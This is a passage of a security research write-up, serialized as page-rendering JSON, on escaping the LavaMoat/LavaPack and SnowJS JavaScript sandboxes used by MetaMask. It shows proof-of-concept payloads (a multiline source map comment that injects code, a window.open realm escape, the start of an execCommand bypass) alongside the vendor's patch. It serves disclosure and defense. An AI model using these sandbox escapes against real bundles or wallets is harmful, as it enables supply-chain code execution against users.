/",{"type":21,"tag":85,"props":49386,"children":49387},{"style":1021},[49388],{"type":26,"value":49389},"^",{"type":21,"tag":85,"props":49391,"children":49392},{"style":49381},[49393],{"type":26,"value":49394},"\\s",{"type":21,"tag":85,"props":49396,"children":49397},{"style":48828},[49398],{"type":26,"value":49399},"*?\\/",{"type":21,"tag":85,"props":49401,"children":49402},{"style":5026},[49403],{"type":26,"value":3016},{"type":21,"tag":85,"props":49405,"children":49406},{"style":48828},[49407],{"type":26,"value":49408},"\\/\\*",{"type":21,"tag":85,"props":49410,"children":49411},{"style":5026},[49412],{"type":26,"value":49413},"][",{"type":21,"tag":85,"props":49415,"children":49416},{"style":49381},[49417],{"type":26,"value":49418},"@#",{"type":21,"tag":85,"props":49420,"children":49421},{"style":5026},[49422],{"type":26,"value":15830},{"type":21,"tag":85,"props":49424,"children":49425},{"style":49381},[49426],{"type":26,"value":49394},{"type":21,"tag":85,"props":49428,"children":49429},{"style":48828},[49430],{"type":26,"value":49431},"+?",{"type":21,"tag":85,"props":49433,"children":49434},{"style":49381},[49435],{"type":26,"value":49436},"sourceMappingURL=data:",{"type":21,"tag":85,"props":49438,"children":49439},{"style":5026},[49440],{"type":26,"value":49441},"(((?:",{"type":21,"tag":85,"props":49443,"children":49444},{"style":49381},[49445],{"type":26,"value":49446},"application",{"type":21,"tag":85,"props":49448,"children":49449},{"style":1021},[49450],{"type":26,"value":10831},{"type":21,"tag":85,"props":49452,"children":49453},{"style":49381},[49454],{"type":26,"value":26},{"type":21,"tag":85,"props":49456,"children":49457},{"style":5026},[49458],{"type":26,"value":1900},{"type":21,"tag":85,"props":49460,"children":49461},{"style":48828},[49462],{"type":26,"value":49463},"\\/",{"type":21,"tag":85,"props":49465,"children":49466},{"style":49381},[49467],{"type":26,"value":34444},{"type":21,"tag":85,"props":49469,"children":49470},{"style":5026},[49471],{"type":26,"value":49472},")(?:",{"type":21,"tag":85,"props":49474,"children":49475},{"style":49381},[49476],{"type":26,"value":49477},";charset=",{"type":21,"tag":85,"props":49479,"children":49480},{"style":5026},[49481],{"type":26,"value":49482},"([^",{"type":21,"tag":85,"props":49484,"children":49485},{"style":49381},[49486],{"type":26,"value":49487},";,",{"type":21,"tag":85,"props":49489,"children":49490},{"style":5026},[49491],{"type":26,"value":15830},{"type":21,"tag":85,"props":49493,"children":49494},{"style":48828},[49495],{"type":26,"value":49431},{"type":21,"tag":85,"props":49497,"children":49498},{"style":5026},[49499],{"type":26,"value":1900},{"type":21,"tag":85,"props":49501,"children":49502},{"style":48828},[49503],{"type":26,"value":3927},{"type":21,"tag":85,"props":49505,"children":49506},{"style":5026},[49507],{"type":26,"value":1900},{"type":21,"tag":85,"props":49509,"children":49510},{"style":48828},[49511],{"type":26,"value":3927},{"type":21,"tag":85,"props":49513,"children":49514},{"style":5026},[49515],{"type":26,"value":1900},{"type":21,"tag":85,"props":49517,"children":49518},{"style":48828},[49519],{"type":26,"value":3927},{"type":21,"tag":85,"props":49521,"children":49522},{"style":5026},[49523],{"type":26,"value":49524},"(?:",{"type":21,"tag":85,"props":49526,"children":49527},{"style":49381},[49528],{"type":26,"value":49529},";",{"type":21,"tag":85,"props":49531,"children":49532},{"style":5026},[49533],{"type":26,"value":1439},{"type":21,"tag":85,"props":49535,"children":49536},{"style":49381},[49537],{"type":26,"value":49538},"base64",{"type":21,"tag":85,"props":49540,"children":49541},{"style":5026},[49542],{"type":26,"value":49543},"))",{"type":21,"tag":85,"props":49545,"children":49546},{"style":48828},[49547],{"type":26,"value":3927},{"type":21,"tag":85,"props":49549,"children":49550},{"style":49381},[49551],{"type":26,"value":4892},{"type":21,"tag":85,"props":49553,"children":49554},{"style":5026},[49555],{"type":26,"value":1439},{"type":21,"tag":85,"props":49557,"children":49558},{"style":49381},[49559],{"type":26,"value":73},{"type":21,"tag":85,"props":49561,"children":49562},{"style":48828},[49563],{"type":26,"value":49564},"*?",{"type":21,"tag":85,"props":49566,"children":49567},{"style":5026},[49568],{"type":26,"value":1900},{"type":21,"tag":85,"props":49570,"children":49571},{"style":1021},[49572],{"type":26,"value":10703},{"type":21,"tag":85,"props":49574,"children":49575},{"style":49381},[49576],{"type":26,"value":5349},{"type":21,"tag":85,"props":49578,"children":49579},{"style":102},[49580],{"type":26,"value":49581},"mg",{"type":21,"tag":85,"props":49583,"children":49584},{"style":114},[49585],{"type":26,"value":2535},{"type":21,"tag":85,"props":49587,"children":49588},{"class":87,"line":185},[49589],{"type":21,"tag":85,"props":49590,"children":49591},{"style":114},[49592],{"type":26,"value":191},{"type":21,"tag":85,"props":49594,"children":49595},{"class":87,"line":501},[49596],{"type":21,"tag":85,"props":49597,"children":49598},{"style":114},[49599],{"type":26,"value":35785},{"type":21,"tag":85,"props":49601,"children":49602},{"class":87,"line":697},[49603],{"type":21,"tag":85,"props":49604,"children":49605},{"emptyLinePlaceholder":16},[49606],{"type":26,"value":703},{"type":21,"tag":85,"props":49608,"children":49609},{"class":87,"line":706},[49610,49614,49618,49622,49626,49630,49634,49638],{"type":21,"tag":85,"props":49611,"children":49612},{"style":108},[49613],{"type":26,"value":38334},{"type":21,"tag":85,"props":49615,"children":49616},{"style":114},[49617],{"type":26,"value":73},{"type":21,"tag":85,"props":49619,"children":49620},{"style":1021},[49621],{"type":26,"value":49225},{"type":21,"tag":85,"props":49623,"children":49624},{"style":169},[49625],{"type":26,"value":1941},{"type":21,"tag":85,"props":49627,"children":49628},{"style":102},[49629],{"type":26,"value":38662},{"type":21,"tag":85,"props":49631,"children":49632},{"style":114},[49633],{"type":26,"value":717},{"type":21,"tag":85,"props":49635,"children":49636},{"style":120},[49637],{"type":26,"value":33115},{"type":21,"tag":85,"props":49639,"children":49640},{"style":114},[49641],{"type":26,"value":15222},{"type":21,"tag":85,"props":49643,"children":49644},{"class":87,"line":1100},[49645,49649,49653,49657,49662,49666,49670,49674,49679,49683,49688],{"type":21,"tag":85,"props":49646,"children":49647},{"style":2885},[49648],{"type":26,"value":39647},{"type":21,"tag":85,"props":49650,"children":49651},{"style":120},[49652],{"type":26,"value":48816},{"type":21,"tag":85,"props":49654,"children":49655},{"style":114},[49656],{"type":26,"value":73},{"type":21,"tag":85,"props":49658,"children":49659},{"style":1021},[49660],{"type":26,"value":49661},"replace",{"type":21,"tag":85,"props":49663,"children":49664},{"style":114},[49665],{"type":26,"value":1439},{"type":21,"tag":85,"props":49667,"children":49668},{"style":108},[49669],{"type":26,"value":38334},{"type":21,"tag":85,"props":49671,"children":49672},{"style":114},[49673],{"type":26,"value":73},{"type":21,"tag":85,"props":49675,"children":49676},{"style":120},[49677],{"type":26,"value":49678},"commentRegex",{"type":21,"tag":85,"props":49680,"children":49681},{"style":114},[49682],{"type":26,"value":256},{"type":21,"tag":85,"props":49684,"children":49685},{"style":5026},[49686],{"type":26,"value":49687},"''",{"type":21,"tag":85,"props":49689,"children":49690},{"style":114},[49691],{"type":26,"value":777},{"type":21,"tag":85,"props":49693,"children":49694},{"class":87,"line":1339},[49695],{"type":21,"tag":85,"props":49696,"children":49697},{"style":114},[49698],{"type":26,"value":16998},{"type":21,"tag":22,"props":49700,"children":49701},{},[49702,49704,49710],{"type":26,"value":49703},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":21,"tag":66,"props":49705,"children":49707},{"className":49706},[],[49708],{"type":26,"value":49709},"/*",{"type":26,"value":49711},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":21,"tag":10022,"props":49713,"children":49715},{"id":49714},"the-bypass",[49716],{"type":26,"value":49717},"The Bypass",{"type":21,"tag":22,"props":49719,"children":49720},{},[49721,49723,49728,49730,49735],{"type":26,"value":49722},"By abusing the ",{"type":21,"tag":66,"props":49724,"children":49726},{"className":49725},[],[49727],{"type":26,"value":49225},{"type":26,"value":49729}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":21,"tag":66,"props":49731,"children":49733},{"className":49732},[],[49734],{"type":26,"value":48569},{"type":26,"value":49736}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":21,"tag":75,"props":49738,"children":49740},{"className":31808,"code":49739,"language":31810,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[49741],{"type":21,"tag":66,"props":49742,"children":49743},{"__ignoreMap":7},[49744,49752,49759,49767,49775,49783,49791,49799,49807,49814,49822],{"type":21,"tag":85,"props":49745,"children":49746},{"class":87,"line":88},[49747],{"type":21,"tag":85,"props":49748,"children":49749},{"style":92},[49750],{"type":26,"value":49751},"/*# sourceMappingURL=data:,{}\n",{"type":21,"tag":85,"props":49753,"children":49754},{"class":87,"line":98},[49755],{"type":21,"tag":85,"props":49756,"children":49757},{"emptyLinePlaceholder":16},[49758],{"type":26,"value":703},{"type":21,"tag":85,"props":49760,"children":49761},{"class":87,"line":151},[49762],{"type":21,"tag":85,"props":49763,"children":49764},{"style":92},[49765],{"type":26,"value":49766},"}}}}\n",{"type":21,"tag":85,"props":49768,"children":49769},{"class":87,"line":160},[49770],{"type":21,"tag":85,"props":49771,"children":49772},{"style":92},[49773],{"type":26,"value":49774},"}, {\n",{"type":21,"tag":85,"props":49776,"children":49777},{"class":87,"line":185},[49778],{"type":21,"tag":85,"props":49779,"children":49780},{"style":92},[49781],{"type":26,"value":49782},"    package: \"xpl\",\n",{"type":21,"tag":85,"props":49784,"children":49785},{"class":87,"line":501},[49786],{"type":21,"tag":85,"props":49787,"children":49788},{"style":92},[49789],{"type":26,"value":49790},"    file: \"node_modules/xpl/index.js\",\n",{"type":21,"tag":85,"props":49792,"children":49793},{"class":87,"line":697},[49794],{"type":21,"tag":85,"props":49795,"children":49796},{"style":92},[49797],{"type":26,"value":49798},"    test: alert(document.domain),\n",{"type":21,"tag":85,"props":49800,"children":49801},{"class":87,"line":706},[49802],{"type":21,"tag":85,"props":49803,"children":49804},{"style":92},[49805],{"type":26,"value":49806},"    test1: () => { () => { () => { () => {\n",{"type":21,"tag":85,"props":49808,"children":49809},{"class":87,"line":1100},[49810],{"type":21,"tag":85,"props":49811,"children":49812},{"emptyLinePlaceholder":16},[49813],{"type":26,"value":703},{"type":21,"tag":85,"props":49815,"children":49816},{"class":87,"line":1339},[49817],{"type":21,"tag":85,"props":49818,"children":49819},{"style":92},[49820],{"type":26,"value":49821},"/*\n",{"type":21,"tag":85,"props":49823,"children":49824},{"class":87,"line":1348},[49825],{"type":21,"tag":85,"props":49826,"children":49827},{"style":92},[49828],{"type":26,"value":49829},"*/\n",{"type":21,"tag":22,"props":49831,"children":49832},{},[49833],{"type":26,"value":49834},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":21,"tag":10022,"props":49836,"children":49838},{"id":49837},"lavapack-patch",[49839],{"type":26,"value":49840},"Lavapack Patch",{"type":21,"tag":22,"props":49842,"children":49843},{},[49844,49846,49852],{"type":26,"value":49845},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":21,"tag":66,"props":49847,"children":49849},{"className":49848},[],[49850],{"type":26,"value":49851},"assertValidJS",{"type":26,"value":49853},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":21,"tag":22,"props":49855,"children":49856},{},[49857,49859,49866],{"type":26,"value":49858},"The patch was introduced in commit ",{"type":21,"tag":335,"props":49860,"children":49863},{"href":49861,"rel":49862},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[339],[49864],{"type":26,"value":49865},"9c38cd4",{"type":26,"value":73},{"type":21,"tag":75,"props":49868,"children":49870},{"className":40809,"code":49869,"language":40811,"meta":7,"style":7},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[49871],{"type":21,"tag":66,"props":49872,"children":49873},{"__ignoreMap":7},[49874,49882,49890,49898,49906,49914,49922,49930,49937,49945],{"type":21,"tag":85,"props":49875,"children":49876},{"class":87,"line":88},[49877],{"type":21,"tag":85,"props":49878,"children":49879},{"style":2285},[49880],{"type":26,"value":49881},"+ function assertValidJS(code) {\n",{"type":21,"tag":85,"props":49883,"children":49884},{"class":87,"line":98},[49885],{"type":21,"tag":85,"props":49886,"children":49887},{"style":2285},[49888],{"type":26,"value":49889},"+  try {\n",{"type":21,"tag":85,"props":49891,"children":49892},{"class":87,"line":151},[49893],{"type":21,"tag":85,"props":49894,"children":49895},{"style":2285},[49896],{"type":26,"value":49897},"+    new Function(code)\n",{"type":21,"tag":85,"props":49899,"children":49900},{"class":87,"line":160},[49901],{"type":21,"tag":85,"props":49902,"children":49903},{"style":2285},[49904],{"type":26,"value":49905},"+  } catch (err) {\n",{"type":21,"tag":85,"props":49907,"children":49908},{"class":87,"line":185},[49909],{"type":21,"tag":85,"props":49910,"children":49911},{"style":2285},[49912],{"type":26,"value":49913},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":21,"tag":85,"props":49915,"children":49916},{"class":87,"line":501},[49917],{"type":21,"tag":85,"props":49918,"children":49919},{"style":2285},[49920],{"type":26,"value":49921},"+  }\n",{"type":21,"tag":85,"props":49923,"children":49924},{"class":87,"line":697},[49925],{"type":21,"tag":85,"props":49926,"children":49927},{"style":2285},[49928],{"type":26,"value":49929},"+ }\n",{"type":21,"tag":85,"props":49931,"children":49932},{"class":87,"line":706},[49933],{"type":21,"tag":85,"props":49934,"children":49935},{"emptyLinePlaceholder":16},[49936],{"type":26,"value":703},{"type":21,"tag":85,"props":49938,"children":49939},{"class":87,"line":1100},[49940],{"type":21,"tag":85,"props":49941,"children":49942},{"style":2285},[49943],{"type":26,"value":49944},"+  // additional layer of syntax checking independent of browserify\n",{"type":21,"tag":85,"props":49946,"children":49947},{"class":87,"line":1339},[49948],{"type":21,"tag":85,"props":49949,"children":49950},{"style":2285},[49951],{"type":26,"value":49952},"+  assertValidJS(sourceMeta.code)\n",{"type":21,"tag":54,"props":49954,"children":49956},{"id":49955},"hacking-js-realms",[49957],{"type":26,"value":49958},"Hacking JS Realms",{"type":21,"tag":22,"props":49960,"children":49961},{},[49962,49964,49969],{"type":26,"value":49963},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":21,"tag":66,"props":49965,"children":49967},{"className":49966},[],[49968],{"type":26,"value":37865},{"type":26,"value":49970}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":21,"tag":75,"props":49972,"children":49974},{"className":31808,"code":49973,"language":31810,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[49975],{"type":21,"tag":66,"props":49976,"children":49977},{"__ignoreMap":7},[49978,50020],{"type":21,"tag":85,"props":49979,"children":49980},{"class":87,"line":88},[49981,49985,49990,49994,49998,50002,50007,50011,50016],{"type":21,"tag":85,"props":49982,"children":49983},{"style":102},[49984],{"type":26,"value":10069},{"type":21,"tag":85,"props":49986,"children":49987},{"style":120},[49988],{"type":26,"value":49989}," w",{"type":21,"tag":85,"props":49991,"children":49992},{"style":169},[49993],{"type":26,"value":1941},{"type":21,"tag":85,"props":49995,"children":49996},{"style":120},[49997],{"type":26,"value":31853},{"type":21,"tag":85,"props":49999,"children":50000},{"style":114},[50001],{"type":26,"value":73},{"type":21,"tag":85,"props":50003,"children":50004},{"style":1021},[50005],{"type":26,"value":50006},"open",{"type":21,"tag":85,"props":50008,"children":50009},{"style":114},[50010],{"type":26,"value":1439},{"type":21,"tag":85,"props":50012,"children":50013},{"style":5026},[50014],{"type":26,"value":50015},"'/non_existent'",{"type":21,"tag":85,"props":50017,"children":50018},{"style":114},[50019],{"type":26,"value":777},{"type":21,"tag":85,"props":50021,"children":50022},{"class":87,"line":98},[50023,50028,50032,50036,50040,50044,50048,50052],{"type":21,"tag":85,"props":50024,"children":50025},{"style":120},[50026],{"type":26,"value":50027},"w",{"type":21,"tag":85,"props":50029,"children":50030},{"style":114},[50031],{"type":26,"value":73},{"type":21,"tag":85,"props":50033,"children":50034},{"style":1021},[50035],{"type":26,"value":33143},{"type":21,"tag":85,"props":50037,"children":50038},{"style":114},[50039],{"type":26,"value":1439},{"type":21,"tag":85,"props":50041,"children":50042},{"style":120},[50043],{"type":26,"value":33153},{"type":21,"tag":85,"props":50045,"children":50046},{"style":114},[50047],{"type":26,"value":73},{"type":21,"tag":85,"props":50049,"children":50050},{"style":120},[50051],{"type":26,"value":33163},{"type":21,"tag":85,"props":50053,"children":50054},{"style":114},[50055],{"type":26,"value":2485},{"type":21,"tag":22,"props":50057,"children":50058},{},[50059,50061,50066],{"type":26,"value":50060},"This opens a new window with a new JS Realm (another ",{"type":21,"tag":66,"props":50062,"children":50064},{"className":50063},[],[50065],{"type":26,"value":37865},{"type":26,"value":50067}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":21,"tag":22,"props":50069,"children":50070},{},[50071,50073,50080],{"type":26,"value":50072},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":21,"tag":335,"props":50074,"children":50077},{"href":50075,"rel":50076},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[339],[50078],{"type":26,"value":50079},"Metamask implementation",{"type":26,"value":1900},{"type":21,"tag":10022,"props":50082,"children":50084},{"id":50083},"snowjs-attack-surface",[50085],{"type":26,"value":50086},"SnowJS Attack Surface",{"type":21,"tag":22,"props":50088,"children":50089},{},[50090],{"type":26,"value":50091},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":21,"tag":22,"props":50093,"children":50094},{},[50095,50097,50104],{"type":26,"value":50096},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":21,"tag":335,"props":50098,"children":50101},{"href":50099,"rel":50100},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[339],[50102],{"type":26,"value":50103},"hooked inserters",{"type":26,"value":50105}," functions:",{"type":21,"tag":75,"props":50107,"children":50109},{"className":31808,"code":50108,"language":31810,"meta":7,"style":7},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: ['srcdoc'],\n};\n",[50110],{"type":21,"tag":66,"props":50111,"children":50112},{"__ignoreMap":7},[50113,50133,50154,50193,50247,50286,50385,50405,50426],{"type":21,"tag":85,"props":50114,"children":50115},{"class":87,"line":88},[50116,50120,50125,50129],{"type":21,"tag":85,"props":50117,"children":50118},{"style":102},[50119],{"type":26,"value":10069},{"type":21,"tag":85,"props":50121,"children":50122},{"style":120},[50123],{"type":26,"value":50124}," map",{"type":21,"tag":85,"props":50126,"children":50127},{"style":169},[50128],{"type":26,"value":1941},{"type":21,"tag":85,"props":50130,"children":50131},{"style":114},[50132],{"type":26,"value":148},{"type":21,"tag":85,"props":50134,"children":50135},{"class":87,"line":98},[50136,50141,50145,50150],{"type":21,"tag":85,"props":50137,"children":50138},{"style":120},[50139],{"type":26,"value":50140},"    Range:",{"type":21,"tag":85,"props":50142,"children":50143},{"style":114},[50144],{"type":26,"value":23461},{"type":21,"tag":85,"props":50146,"children":50147},{"style":5026},[50148],{"type":26,"value":50149},"'insertNode'",{"type":21,"tag":85,"props":50151,"children":50152},{"style":114},[50153],{"type":26,"value":14681},{"type":21,"tag":85,"props":50155,"children":50156},{"class":87,"line":151},[50157,50162,50166,50171,50175,50180,50184,50189],{"type":21,"tag":85,"props":50158,"children":50159},{"style":120},[50160],{"type":26,"value":50161},"    DocumentFragment:",{"type":21,"tag":85,"props":50163,"children":50164},{"style":114},[50165],{"type":26,"value":23461},{"type":21,"tag":85,"props":50167,"children":50168},{"style":5026},[50169],{"type":26,"value":50170},"'replaceChildren'",{"type":21,"tag":85,"props":50172,"children":50173},{"style":114},[50174],{"type":26,"value":256},{"type":21,"tag":85,"props":50176,"children":50177},{"style":5026},[50178],{"type":26,"value":50179},"'append'",{"type":21,"tag":85,"props":50181,"children":50182},{"style":114},[50183],{"type":26,"value":256},{"type":21,"tag":85,"props":50185,"children":50186},{"style":5026},[50187],{"type":26,"value":50188},"'prepend'",{"type":21,"tag":85,"props":50190,"children":50191},{"style":114},[50192],{"type":26,"value":14681},{"type":21,"tag":85,"props":50194,"children":50195},{"class":87,"line":160},[50196,50201,50205,50209,50213,50217,50221,50225,50229,50234,50238,50243],{"type":21,"tag":85,"props":50197,"children":50198},{"style":120},[50199],{"type":26,"value":50200},"    Document:",{"type":21,"tag":85,"props":50202,"children":50203},{"style":114},[50204],{"type":26,"value":23461},{"type":21,"tag":85,"props":50206,"children":50207},{"style":5026},[50208],{"type":26,"value":50170},{"type":21,"tag":85,"props":50210,"children":50211},{"style":114},[50212],{"type":26,"value":256},{"type":21,"tag":85,"props":50214,"children":50215},{"style":5026},[50216],{"type":26,"value":50179},{"type":21,"tag":85,"props":50218,"children":50219},{"style":114},[50220],{"type":26,"value":256},{"type":21,"tag":85,"props":50222,"children":50223},{"style":5026},[50224],{"type":26,"value":50188},{"type":21,"tag":85,"props":50226,"children":50227},{"style":114},[50228],{"type":26,"value":256},{"type":21,"tag":85,"props":50230,"children":50231},{"style":5026},[50232],{"type":26,"value":50233},"'write'",{"type":21,"tag":85,"props":50235,"children":50236},{"style":114},[50237],{"type":26,"value":256},{"type":21,"tag":85,"props":50239,"children":50240},{"style":5026},[50241],{"type":26,"value":50242},"'writeln'",{"type":21,"tag":85,"props":50244,"children":50245},{"style":114},[50246],{"type":26,"value":14681},{"type":21,"tag":85,"props":50248,"children":50249},{"class":87,"line":185},[50250,50255,50259,50264,50268,50273,50277,50282],{"type":21,"tag":85,"props":50251,"children":50252},{"style":120},[50253],{"type":26,"value":50254},"    Node:",{"type":21,"tag":85,"props":50256,"children":50257},{"style":114},[50258],{"type":26,"value":23461},{"type":21,"tag":85,"props":50260,"children":50261},{"style":5026},[50262],{"type":26,"value":50263},"'appendChild'",{"type":21,"tag":85,"props":50265,"children":50266},{"style":114},[50267],{"type":26,"value":256},{"type":21,"tag":85,"props":50269,"children":50270},{"style":5026},[50271],{"type":26,"value":50272},"'insertBefore'",{"type":21,"tag":85,"props":50274,"children":50275},{"style":114},[50276],{"type":26,"value":256},{"type":21,"tag":85,"props":50278,"children":50279},{"style":5026},[50280],{"type":26,"value":50281},"'replaceChild'",{"type":21,"tag":85,"props":50283,"children":50284},{"style":114},[50285],{"type":26,"value":14681},{"type":21,"tag":85,"props":50287,"children":50288},{"class":87,"line":501},[50289,50294,50298,50303,50307,50312,50316,50321,50325,50330,50334,50339,50343,50347,50351,50356,50360,50364,50368,50373,50377,50381],{"type":21,"tag":85,"props":50290,"children":50291},{"style":120},[50292],{"type":26,"value":50293},"    Element:",{"type":21,"tag":85,"props":50295,"children":50296},{"style":114},[50297],{"type":26,"value":23461},{"type":21,"tag":85,"props":50299,"children":50300},{"style":5026},[50301],{"type":26,"value":50302},"'innerHTML'",{"type":21,"tag":85,"props":50304,"children":50305},{"style":114},[50306],{"type":26,"value":256},{"type":21,"tag":85,"props":50308,"children":50309},{"style":5026},[50310],{"type":26,"value":50311},"'outerHTML'",{"type":21,"tag":85,"props":50313,"children":50314},{"style":114},[50315],{"type":26,"value":256},{"type":21,"tag":85,"props":50317,"children":50318},{"style":5026},[50319],{"type":26,"value":50320},"'insertAdjacentHTML'",{"type":21,"tag":85,"props":50322,"children":50323},{"style":114},[50324],{"type":26,"value":256},{"type":21,"tag":85,"props":50326,"children":50327},{"style":5026},[50328],{"type":26,"value":50329},"'replaceWith'",{"type":21,"tag":85,"props":50331,"children":50332},{"style":114},[50333],{"type":26,"value":256},{"type":21,"tag":85,"props":50335,"children":50336},{"style":5026},[50337],{"type":26,"value":50338},"'insertAdjacentElement'",{"type":21,"tag":85,"props":50340,"children":50341},{"style":114},[50342],{"type":26,"value":256},{"type":21,"tag":85,"props":50344,"children":50345},{"style":5026},[50346],{"type":26,"value":50179},{"type":21,"tag":85,"props":50348,"children":50349},{"style":114},[50350],{"type":26,"value":256},{"type":21,"tag":85,"props":50352,"children":50353},{"style":5026},[50354],{"type":26,"value":50355},"'before'",{"type":21,"tag":85,"props":50357,"children":50358},{"style":114},[50359],{"type":26,"value":256},{"type":21,"tag":85,"props":50361,"children":50362},{"style":5026},[50363],{"type":26,"value":50188},{"type":21,"tag":85,"props":50365,"children":50366},{"style":114},[50367],{"type":26,"value":256},{"type":21,"tag":85,"props":50369,"children":50370},{"style":5026},[50371],{"type":26,"value":50372},"'after'",{"type":21,"tag":85,"props":50374,"children":50375},{"style":114},[50376],{"type":26,"value":256},{"type":21,"tag":85,"props":50378,"children":50379},{"style":5026},[50380],{"type":26,"value":50170},{"type":21,"tag":85,"props":50382,"children":50383},{"style":114},[50384],{"type":26,"value":14681},{"type":21,"tag":85,"props":50386,"children":50387},{"class":87,"line":697},[50388,50393,50397,50401],{"type":21,"tag":85,"props":50389,"children":50390},{"style":120},[50391],{"type":26,"value":50392},"    ShadowRoot:",{"type":21,"tag":85,"props":50394,"children":50395},{"style":114},[50396],{"type":26,"value":23461},{"type":21,"tag":85,"props":50398,"children":50399},{"style":5026},[50400],{"type":26,"value":50302},{"type":21,"tag":85,"props":50402,"children":50403},{"style":114},[50404],{"type":26,"value":14681},{"type":21,"tag":85,"props":50406,"children":50407},{"class":87,"line":706},[50408,50413,50417,50422],{"type":21,"tag":85,"props":50409,"children":50410},{"style":120},[50411],{"type":26,"value":50412},"    HTMLIFrameElement:",{"type":21,"tag":85,"props":50414,"children":50415},{"style":114},[50416],{"type":26,"value":23461},{"type":21,"tag":85,"props":50418,"children":50419},{"style":5026},[50420],{"type":26,"value":50421},"'srcdoc'",{"type":21,"tag":85,"props":50423,"children":50424},{"style":114},[50425],{"type":26,"value":14681},{"type":21,"tag":85,"props":50427,"children":50428},{"class":87,"line":1100},[50429],{"type":21,"tag":85,"props":50430,"children":50431},{"style":114},[50432],{"type":26,"value":16998},{"type":21,"tag":22,"props":50434,"children":50435},{},[50436],{"type":26,"value":50437},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":21,"tag":22,"props":50439,"children":50440},{},[50441],{"type":26,"value":50442},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":21,"tag":10022,"props":50444,"children":50446},{"id":50445},"bypassing-snowjs",[50447],{"type":26,"value":50448},"Bypassing SnowJS",{"type":21,"tag":22,"props":50450,"children":50451},{},[50452,50454,50465,50467,50473],{"type":26,"value":50453},"The deprecated ",{"type":21,"tag":335,"props":50455,"children":50458},{"href":50456,"rel":50457},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[339],[50459],{"type":21,"tag":66,"props":50460,"children":50462},{"className":50461},[],[50463],{"type":26,"value":50464},"document.execCommand",{"type":26,"value":50466}," function is used to execute commands inside a ",{"type":21,"tag":66,"props":50468,"children":50470},{"className":50469},[],[50471],{"type":26,"value":50472},"contenteditable",{"type":26,"value":50474}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":21,"tag":75,"props":50476,"children":50479},{"className":50477,"code":50478,"language":32828,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[50480],{"type":21,"tag":66,"props":50481,"children":50482},{"__ignoreMap":7},[50483],{"type":21,"tag":85,"props":50484,"children":50485},{"class":87,"line":88},[50486,50490,50494,50498,50502,50507,50512,50517,50522,50526],{"type":21,"tag":85,"props":50487,"children":50488},{"style":32821},[50489],{"type":26,"value":117},{"type":21,"tag":85,"props":50491,"children":50492},{"style":102},[50493],{"type":26,"value":31791},{"type":21,"tag":85,"props":50495,"children":50496},{"style":120},[50497],{"type":26,"value":32901},{"type":21,"tag":85,"props":50499,"children":50500},{"style":114},[50501],{"type":26,"value":741},{"type":21,"tag":85,"props":50503,"children":50504},{"style":5026},[50505],{"type":26,"value":50506},"test",{"type":21,"tag":85,"props":50508,"children":50509},{"style":120},[50510],{"type":26,"value":50511}," contenteditable",{"type":21,"tag":85,"props":50513,"children":50514},{"style":120},[50515],{"type":26,"value":50516}," autofocus",{"type":21,"tag":85,"props":50518,"children":50519},{"style":32821},[50520],{"type":26,"value":50521},">\u003C/",{"type":21,"tag":85,"props":50523,"children":50524},{"style":102},[50525],{"type":26,"value":31791},{"type":21,"tag":85,"props":50527,"children":50528},{"style":32821},[50529],{"type":26,"value":313},{"type":21,"tag":22,"props":50531,"children":50532},{},[50533,50535,50541,50543,50548],{"type":26,"value":50534},"After inserting this element to a page, it is possible to use ",{"type":21,"tag":66,"props":50536,"children":50538},{"className":50537},[],[50539],{"type":26,"value":50540},"insertHTML",{"type":26,"value":50542}," command of ",{"type":21,"tag":66,"props":50544,"children":50546},{"className":50545},[],[50547],{"type":26,"value":50464},{"type":26,"value":50549}," to add a non-sandboxed 